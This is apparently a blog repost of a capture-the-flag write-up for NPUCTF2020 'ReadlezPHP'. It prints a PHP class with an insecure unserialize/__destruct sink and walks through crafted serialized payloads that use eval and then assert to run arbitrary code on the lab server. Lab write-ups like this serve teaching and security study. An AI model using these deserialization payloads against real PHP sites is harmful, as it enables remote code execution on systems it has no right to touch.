当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 11:32:00 【Her&mes】
WP
If there is any wrong , Also please correct me
Enter the target environment , Go through the process :
1. Look at the source code
2. Manually try to access several common web page names ,
3. use dirsearch Scan website .
Find a link directly in the source code :
<p> Millions of front-end NPU The time center tells you the time :<a href="./time.php?source"></a></p>
visit /time.php?source, Now enter the subject gate , White box audit , It seems to be a relatively simple deserialization
White box code :
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
Try to construct payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
And then there's no then , Page echo “500, Unable to process request ”, I have no more , There's a filter , Then change the code , structure payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
Same as before , Unable to process request , But var_dump() Generally speaking, it should not be filtered , May be eval Filtered , Switch to assert try
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
success , Page echo int(10) 2021-04-07 12:39:47
hold var_dump(10) Switch to phpinfo(),( Remember to change the size ), very good ,phpinfo Not filtered , see disable_functions bar , It's filtered out system,exec,shell_exec
Try searching again flag,ohhhhhhhhhh, There are ( If this is empty … On the importance of good habits ).
PS:assert from 7.2 Strings are no longer supported at first => Cannot perform PHP Code. ( This topic is in BUU On is PHP/7.0.33)
边栏推荐
- [AGC009D]Uninity
- 4、安装部署Spark(Spark on Yarn模式)
- Basic use of redis
- Base de données Advanced Learning Notes - - SQL statements
- ImportError: libmysqlclient. so. 20: Cannot open shared object file: no such file or directory solution
- 2019腾讯暑期实习生正式笔试
- [蓝桥杯2021初赛] 砝码称重
- Learning question 1:127.0.0.1 refused our visit
- 使用lambda在循环中传参时,参数总为同一个值
- 【Flink】CDH/CDP Flink on Yarn 日志配置
猜你喜欢

QT creator specifies dependencies

double转int精度丢失问题

Learn winpwn (3) -- sEH from scratch

引入了junit为什么还是用不了@Test注解

AI benchmark V5 ranking

Image recognition - pyteseract TesseractNotFoundError: tesseract is not installed or it‘s not in your path

Machine learning -- census data analysis

Did you forget to register or load this tag

QT creator runs the Valgrind tool on external applications

vs2019 使用向导生成一个MFC应用程序
随机推荐
ES6 Promise 对象
Vs2019 desktop app quick start
常用正则表达式整理
[Bluebridge cup 2021 preliminary] weight weighing
Software I2C based on Hal Library
牛客Novice月赛40
Word排版(小计)
Unable to call numpy in pycharm, with an error modulenotfounderror: no module named 'numpy‘
vs2019 第一个MFC应用程序
Database advanced learning notes -- SQL statement
【yarn】Yarn container 日志清理
Neo4j installation tutorial
Heating data in data lake?
[NPUCTF2020]ReadlezPHP
2019腾讯暑期实习生正式笔试
Dotnet replaces asp Net core's underlying communication is the IPC Library of named pipes
Attention apply personal understanding to images
Tcp/ip protocol (UDP)
PHP - whether the setting error displays -php xxx When PHP executes, there is no code exception prompt
nodejs连接Mysql